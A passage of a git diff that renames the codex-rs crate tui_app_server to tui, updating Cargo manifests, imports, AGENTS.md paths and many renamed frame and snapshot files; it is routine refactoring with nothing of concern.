codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_chunk_leading_whitespace_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_empty_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_long_command_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_many_sessions_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ps_output_multiline_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__ran_cell_multiline_with_stderr_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__session_info_availability_nux_tooltip_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__single_line_command_compact_when_fits.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__single_line_command_wraps_with_four_space_continuation.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__stderr_tail_more_than_five_lines_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_numbers_multiple_remote_images.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_renders_remote_image_urls.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__user_history_cell_wraps_and_prefixes_each_line_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__web_search_history_cell_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__history_cell__tests__web_search_history_cell_transcript_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__markdown_render__markdown_render_tests__markdown_render_complex_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__markdown_render__markdown_render_tests__markdown_render_file_link_snapshot.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_codex.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_codex_mini.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__model_migration__tests__model_migration_prompt_gpt5_family.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__multi_agents__tests__collab_agent_transcript.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__static_overlay_snapshot_basic.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__static_overlay_wraps_long_lines.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_apply_patch_scroll_vt100.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_renders_live_tail.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__pager_overlay__tests__transcript_overlay_snapshot_basic.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_search_error.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_table.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__resume_picker__tests__resume_picker_thread_names.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_truncated.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_with_working_header.snap delete mode 100644 codex-rs/tui_app_server/src/snapshots/codex_tui_app_server__status_indicator_widget__tests__renders_wrapped_details_panama_two_lines.snap delete mode 100644 codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_cached_limits_hide_credits_without_flag.snap delete mode 100644 codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_credits_and_limits.snap delete mode 100644 codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_forked_from.snap delete mode 100644 codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_monthly_limit.snap delete mode 100644 codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_includes_reasoning_details.snap delete mode 100644 codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_empty_limits_message.snap delete mode 100644 codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_missing_limits_message.snap delete mode 100644 codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_shows_stale_limits_message.snap delete mode 100644 codex-rs/tui_app_server/src/status/snapshots/codex_tui_app_server__status__tests__status_snapshot_truncates_in_narrow_terminal.snap diff --git a/AGENTS.md b/AGENTS.md index c06cf174d2..ff36b0e19c 100644 --- a/AGENTS.md +++ b/AGENTS.md @@ -35,9 +35,9 @@ In the codex-rs folder where the rust code lives: - If a file exceeds roughly 800 LoC, add new functionality in a new module instead of extending the existing file unless there is a strong documented reason not to. - This rule applies especially to high-touch files that already attract unrelated changes, such - as `codex-rs/tui_app_server/src/app.rs`, `codex-rs/tui_app_server/src/bottom_pane/chat_composer.rs`, - `codex-rs/tui_app_server/src/bottom_pane/footer.rs`, `codex-rs/tui_app_server/src/chatwidget.rs`, - `codex-rs/tui_app_server/src/bottom_pane/mod.rs`, and similarly central orchestration modules. + as `codex-rs/tui/src/app.rs`, `codex-rs/tui/src/bottom_pane/chat_composer.rs`, + `codex-rs/tui/src/bottom_pane/footer.rs`, `codex-rs/tui/src/chatwidget.rs`, + `codex-rs/tui/src/bottom_pane/mod.rs`, and similarly central orchestration modules. - When extracting code from a large module, move the related tests and module/type docs toward the new implementation so the invariants stay close to the code that owns them. - When running Rust commands (e.g. `just fix` or `cargo test`) be patient with the command and never try to kill them using the PID. Rust lock can make the execution slow, this is expected. @@ -66,12 +66,10 @@ Likewise, when reviewing code, do not hesitate to push back on PRs that would un ## TUI style conventions -See `codex-rs/tui_app_server/styles.md`. +See `codex-rs/tui/styles.md`. ## TUI code conventions -- When a change lands in `codex-rs/tui` and `codex-rs/tui_app_server` has a parallel implementation of the same behavior, reflect the change in `codex-rs/tui_app_server` too unless there is a documented reason not to. - - Use concise styling helpers from ratatui’s Stylize trait. - Basic spans: use "text".into() - Styled spans: use "text".red(), "text".green(), "text".magenta(), "text".dim(), etc. diff --git a/codex-rs/Cargo.toml b/codex-rs/Cargo.toml index 2f4b952c52..d5a4baa4d5 100644 --- a/codex-rs/Cargo.toml +++ b/codex-rs/Cargo.toml @@ -49,7 +49,7 @@ members = [ "sandboxing", "stdio-to-uds", "otel", - "tui_app_server", + "tui", "tools", "v8-poc", "utils/absolute-path", @@ -149,7 +149,7 @@ codex-state = { path = "state" } codex-stdio-to-uds = { path = "stdio-to-uds" } codex-terminal-detection = { path = "terminal-detection" } codex-tools = { path = "tools" } -codex-tui = { path = "tui_app_server" } +codex-tui = { path = "tui" } codex-v8-poc = { path = "v8-poc" } codex-utils-absolute-path = { path = "utils/absolute-path" } codex-utils-approval-presets = { path = "utils/approval-presets" } diff --git a/codex-rs/cli/src/main.rs b/codex-rs/cli/src/main.rs index f0a66c9b68..082965b3d2 100644 --- a/codex-rs/cli/src/main.rs +++ b/codex-rs/cli/src/main.rs @@ -24,10 +24,10 @@ use codex_execpolicy::ExecPolicyCheckCommand; use codex_responses_api_proxy::Args as ResponsesApiProxyArgs; use codex_state::StateRuntime; use codex_state::state_db_path; -use codex_tui_app_server::AppExitInfo; -use codex_tui_app_server::Cli as TuiCli; -use codex_tui_app_server::ExitReason; -use codex_tui_app_server::update_action::UpdateAction; +use codex_tui::AppExitInfo; +use codex_tui::Cli as TuiCli; +use codex_tui::ExitReason; +use codex_tui::update_action::UpdateAction; use codex_utils_cli::CliConfigOverrides; use owo_colors::OwoColorize; use std::io::IsTerminal; @@ -1228,7 +1228,7 @@ async fn run_interactive_tui( let normalized_remote = remote .as_deref() - .map(codex_tui_app_server::normalize_remote_addr) + .map(codex_tui::normalize_remote_addr) .transpose() .map_err(std::io::Error::other)?; if remote_auth_token_env.is_some() && normalized_remote.is_none() { @@ -1241,7 +1241,7 @@ async fn run_interactive_tui( .map(read_remote_auth_token_from_env_var) .transpose() .map_err(std::io::Error::other)?; - codex_tui_app_server::run_main( + codex_tui::run_main( interactive, arg0_paths, codex_core::config_loader::LoaderOverrides::default(), diff --git a/codex-rs/cloud-tasks/src/lib.rs b/codex-rs/cloud-tasks/src/lib.rs index bc0abccf8d..f11eca38f5 100644 --- a/codex-rs/cloud-tasks/src/lib.rs +++ b/codex-rs/cloud-tasks/src/lib.rs @@ -931,7 +931,7 @@ pub async fn run_main(cli: Cli, _codex_linux_sandbox_exe: Option) -> an if page.composer.flush_paste_burst_if_due() { needs_redraw = true; } if page.composer.is_in_paste_burst() { let _ = frame_tx - .send(Instant::now() + codex_tui_app_server::ComposerInput::recommended_flush_delay()); + .send(Instant::now() + codex_tui::ComposerInput::recommended_flush_delay()); } } // Keep spinner pulsing only while loading. @@ -1492,7 +1492,7 @@ pub async fn run_main(cli: Cli, _codex_linux_sandbox_exe: Option) -> an _ => { if page.submitting { // Ignore input while submitting - } else if let codex_tui_app_server::ComposerAction::Submitted(text) = + } else if let codex_tui::ComposerAction::Submitted(text) = page.composer.input(key) { // Submit only if we have an env id @@ -1526,7 +1526,7 @@ pub async fn run_main(cli: Cli, _codex_linux_sandbox_exe: Option) -> an if page.composer.is_in_paste_burst() { let _ = frame_tx.send( Instant::now() - + codex_tui_app_server::ComposerInput::recommended_flush_delay(), + + codex_tui::ComposerInput::recommended_flush_delay(), ); } // Always schedule an immediate redraw for key edits in the composer. @@ -2136,8 +2136,8 @@ mod tests { use codex_cloud_tasks_client::TaskId; use codex_cloud_tasks_client::TaskStatus; use codex_cloud_tasks_client::TaskSummary; - use codex_tui_app_server::ComposerAction; - use codex_tui_app_server::ComposerInput; + use codex_tui::ComposerAction; + use codex_tui::ComposerInput; use crossterm::event::KeyCode; use crossterm::event::KeyEvent; use crossterm::event::KeyModifiers; diff --git a/codex-rs/cloud-tasks/src/new_task.rs b/codex-rs/cloud-tasks/src/new_task.rs index 3d0b0843be..8708bd62fb 100644 --- a/codex-rs/cloud-tasks/src/new_task.rs +++ b/codex-rs/cloud-tasks/src/new_task.rs @@ -1,4 +1,4 @@ -use codex_tui_app_server::ComposerInput; +use codex_tui::ComposerInput; pub struct NewTaskPage { pub composer: ComposerInput, diff --git a/codex-rs/cloud-tasks/src/ui.rs b/codex-rs/cloud-tasks/src/ui.rs index bf67c6486f..38f75e41ab 100644 --- a/codex-rs/cloud-tasks/src/ui.rs +++ b/codex-rs/cloud-tasks/src/ui.rs @@ -23,7 +23,7 @@ use crate::app::AttemptView; use crate::util::format_relative_time_now; use codex_cloud_tasks_client::AttemptStatus; use codex_cloud_tasks_client::TaskStatus; -use codex_tui_app_server::render_markdown_text; +use codex_tui::render_markdown_text; pub fn draw(frame: &mut Frame, app: &mut App) { let area = frame.area(); diff --git a/codex-rs/tui_app_server/BUILD.bazel b/codex-rs/tui/BUILD.bazel similarity index 89% rename from codex-rs/tui_app_server/BUILD.bazel rename to codex-rs/tui/BUILD.bazel index 5093e4dd1f..164c7d1faf 100644 --- a/codex-rs/tui_app_server/BUILD.bazel +++ b/codex-rs/tui/BUILD.bazel @@ -1,8 +1,8 @@ load("//:defs.bzl", "codex_rust_crate") codex_rust_crate( - name = "tui_app_server", - crate_name = "codex_tui_app_server", + name = "tui", + crate_name = "codex_tui", compile_data = glob( include = ["**"], exclude = [ diff --git a/codex-rs/tui_app_server/Cargo.toml b/codex-rs/tui/Cargo.toml similarity index 97% rename from codex-rs/tui_app_server/Cargo.toml rename to codex-rs/tui/Cargo.toml index 9e98cee6d1..bc00682a41 100644 --- a/codex-rs/tui_app_server/Cargo.toml +++ b/codex-rs/tui/Cargo.toml @@ -6,19 +6,15 @@ license.workspace = true autobins = false [[bin]] -name = "codex-tui-app-server" +name = "codex-tui" path = "src/main.rs" [[bin]] -name = "codex-tui" -path = "src/bin/codex-tui.rs" - -[[bin]] -name = "md-events-app-server" +name = "md-events" path = "src/bin/md-events.rs" [lib] -name = "codex_tui_app_server" +name = "codex_tui" path = "src/lib.rs" [features] diff --git a/codex-rs/tui_app_server/frames/blocks/frame_1.txt b/codex-rs/tui/frames/blocks/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_1.txt rename to codex-rs/tui/frames/blocks/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_10.txt b/codex-rs/tui/frames/blocks/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_10.txt rename to codex-rs/tui/frames/blocks/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_11.txt b/codex-rs/tui/frames/blocks/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_11.txt rename to codex-rs/tui/frames/blocks/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_12.txt b/codex-rs/tui/frames/blocks/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_12.txt rename to codex-rs/tui/frames/blocks/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_13.txt b/codex-rs/tui/frames/blocks/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_13.txt rename to codex-rs/tui/frames/blocks/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_14.txt b/codex-rs/tui/frames/blocks/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_14.txt rename to codex-rs/tui/frames/blocks/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_15.txt b/codex-rs/tui/frames/blocks/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_15.txt rename to codex-rs/tui/frames/blocks/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_16.txt b/codex-rs/tui/frames/blocks/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_16.txt rename to codex-rs/tui/frames/blocks/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_17.txt b/codex-rs/tui/frames/blocks/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_17.txt rename to codex-rs/tui/frames/blocks/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_18.txt b/codex-rs/tui/frames/blocks/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_18.txt rename to codex-rs/tui/frames/blocks/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_19.txt b/codex-rs/tui/frames/blocks/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_19.txt rename to codex-rs/tui/frames/blocks/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_2.txt b/codex-rs/tui/frames/blocks/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_2.txt rename to codex-rs/tui/frames/blocks/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_20.txt b/codex-rs/tui/frames/blocks/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_20.txt rename to codex-rs/tui/frames/blocks/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_21.txt b/codex-rs/tui/frames/blocks/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_21.txt rename to codex-rs/tui/frames/blocks/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_22.txt b/codex-rs/tui/frames/blocks/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_22.txt rename to codex-rs/tui/frames/blocks/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_23.txt b/codex-rs/tui/frames/blocks/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_23.txt rename to codex-rs/tui/frames/blocks/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_24.txt b/codex-rs/tui/frames/blocks/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_24.txt rename to codex-rs/tui/frames/blocks/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_25.txt b/codex-rs/tui/frames/blocks/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_25.txt rename to codex-rs/tui/frames/blocks/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_26.txt b/codex-rs/tui/frames/blocks/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_26.txt rename to codex-rs/tui/frames/blocks/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_27.txt b/codex-rs/tui/frames/blocks/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_27.txt rename to codex-rs/tui/frames/blocks/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_28.txt b/codex-rs/tui/frames/blocks/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_28.txt rename to codex-rs/tui/frames/blocks/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_29.txt b/codex-rs/tui/frames/blocks/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_29.txt rename to codex-rs/tui/frames/blocks/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_3.txt b/codex-rs/tui/frames/blocks/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_3.txt rename to codex-rs/tui/frames/blocks/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_30.txt b/codex-rs/tui/frames/blocks/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_30.txt rename to codex-rs/tui/frames/blocks/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_31.txt b/codex-rs/tui/frames/blocks/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_31.txt rename to codex-rs/tui/frames/blocks/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_32.txt b/codex-rs/tui/frames/blocks/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_32.txt rename to codex-rs/tui/frames/blocks/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_33.txt b/codex-rs/tui/frames/blocks/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_33.txt rename to codex-rs/tui/frames/blocks/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_34.txt b/codex-rs/tui/frames/blocks/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_34.txt rename to codex-rs/tui/frames/blocks/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_35.txt b/codex-rs/tui/frames/blocks/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_35.txt rename to codex-rs/tui/frames/blocks/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_36.txt b/codex-rs/tui/frames/blocks/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_36.txt rename to codex-rs/tui/frames/blocks/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_4.txt b/codex-rs/tui/frames/blocks/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_4.txt rename to codex-rs/tui/frames/blocks/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_5.txt b/codex-rs/tui/frames/blocks/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_5.txt rename to codex-rs/tui/frames/blocks/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_6.txt b/codex-rs/tui/frames/blocks/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_6.txt rename to codex-rs/tui/frames/blocks/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_7.txt b/codex-rs/tui/frames/blocks/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_7.txt rename to codex-rs/tui/frames/blocks/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_8.txt b/codex-rs/tui/frames/blocks/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_8.txt rename to codex-rs/tui/frames/blocks/frame_8.txt diff --git a/codex-rs/tui_app_server/frames/blocks/frame_9.txt b/codex-rs/tui/frames/blocks/frame_9.txt similarity index 100% rename from codex-rs/tui_app_server/frames/blocks/frame_9.txt rename to codex-rs/tui/frames/blocks/frame_9.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_1.txt b/codex-rs/tui/frames/codex/frame_1.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_1.txt rename to codex-rs/tui/frames/codex/frame_1.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_10.txt b/codex-rs/tui/frames/codex/frame_10.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_10.txt rename to codex-rs/tui/frames/codex/frame_10.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_11.txt b/codex-rs/tui/frames/codex/frame_11.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_11.txt rename to codex-rs/tui/frames/codex/frame_11.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_12.txt b/codex-rs/tui/frames/codex/frame_12.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_12.txt rename to codex-rs/tui/frames/codex/frame_12.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_13.txt b/codex-rs/tui/frames/codex/frame_13.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_13.txt rename to codex-rs/tui/frames/codex/frame_13.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_14.txt b/codex-rs/tui/frames/codex/frame_14.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_14.txt rename to codex-rs/tui/frames/codex/frame_14.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_15.txt b/codex-rs/tui/frames/codex/frame_15.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_15.txt rename to codex-rs/tui/frames/codex/frame_15.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_16.txt b/codex-rs/tui/frames/codex/frame_16.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_16.txt rename to codex-rs/tui/frames/codex/frame_16.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_17.txt b/codex-rs/tui/frames/codex/frame_17.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_17.txt rename to codex-rs/tui/frames/codex/frame_17.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_18.txt b/codex-rs/tui/frames/codex/frame_18.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_18.txt rename to codex-rs/tui/frames/codex/frame_18.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_19.txt b/codex-rs/tui/frames/codex/frame_19.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_19.txt rename to codex-rs/tui/frames/codex/frame_19.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_2.txt b/codex-rs/tui/frames/codex/frame_2.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_2.txt rename to codex-rs/tui/frames/codex/frame_2.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_20.txt b/codex-rs/tui/frames/codex/frame_20.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_20.txt rename to codex-rs/tui/frames/codex/frame_20.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_21.txt b/codex-rs/tui/frames/codex/frame_21.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_21.txt rename to codex-rs/tui/frames/codex/frame_21.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_22.txt b/codex-rs/tui/frames/codex/frame_22.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_22.txt rename to codex-rs/tui/frames/codex/frame_22.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_23.txt b/codex-rs/tui/frames/codex/frame_23.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_23.txt rename to codex-rs/tui/frames/codex/frame_23.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_24.txt b/codex-rs/tui/frames/codex/frame_24.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_24.txt rename to codex-rs/tui/frames/codex/frame_24.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_25.txt b/codex-rs/tui/frames/codex/frame_25.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_25.txt rename to codex-rs/tui/frames/codex/frame_25.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_26.txt b/codex-rs/tui/frames/codex/frame_26.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_26.txt rename to codex-rs/tui/frames/codex/frame_26.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_27.txt b/codex-rs/tui/frames/codex/frame_27.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_27.txt rename to codex-rs/tui/frames/codex/frame_27.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_28.txt b/codex-rs/tui/frames/codex/frame_28.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_28.txt rename to codex-rs/tui/frames/codex/frame_28.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_29.txt b/codex-rs/tui/frames/codex/frame_29.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_29.txt rename to codex-rs/tui/frames/codex/frame_29.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_3.txt b/codex-rs/tui/frames/codex/frame_3.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_3.txt rename to codex-rs/tui/frames/codex/frame_3.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_30.txt b/codex-rs/tui/frames/codex/frame_30.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_30.txt rename to codex-rs/tui/frames/codex/frame_30.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_31.txt b/codex-rs/tui/frames/codex/frame_31.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_31.txt rename to codex-rs/tui/frames/codex/frame_31.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_32.txt b/codex-rs/tui/frames/codex/frame_32.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_32.txt rename to codex-rs/tui/frames/codex/frame_32.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_33.txt b/codex-rs/tui/frames/codex/frame_33.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_33.txt rename to codex-rs/tui/frames/codex/frame_33.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_34.txt b/codex-rs/tui/frames/codex/frame_34.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_34.txt rename to codex-rs/tui/frames/codex/frame_34.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_35.txt b/codex-rs/tui/frames/codex/frame_35.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_35.txt rename to codex-rs/tui/frames/codex/frame_35.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_36.txt b/codex-rs/tui/frames/codex/frame_36.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_36.txt rename to codex-rs/tui/frames/codex/frame_36.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_4.txt b/codex-rs/tui/frames/codex/frame_4.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_4.txt rename to codex-rs/tui/frames/codex/frame_4.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_5.txt b/codex-rs/tui/frames/codex/frame_5.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_5.txt rename to codex-rs/tui/frames/codex/frame_5.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_6.txt b/codex-rs/tui/frames/codex/frame_6.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_6.txt rename to codex-rs/tui/frames/codex/frame_6.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_7.txt b/codex-rs/tui/frames/codex/frame_7.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_7.txt rename to codex-rs/tui/frames/codex/frame_7.txt diff --git a/codex-rs/tui_app_server/frames/codex/frame_8.txt b/codex-rs/tui/frames/codex/frame_8.txt similarity index 100% rename from codex-rs/tui_app_server/frames/codex/frame_8.txt rename to codex-rs/tui/frames/codex/frame_8.txt diff --git 